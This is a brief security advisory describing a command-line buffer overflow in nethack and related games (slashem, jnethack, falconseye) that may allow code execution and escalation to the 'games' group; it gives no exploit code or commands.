By passing an overly large string when invoking nethack, it is possible to corrupt memory.
|
|
|
|
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
|
|
|
|
slashem, jnethack and falconseye are also prone to this vulnerability.
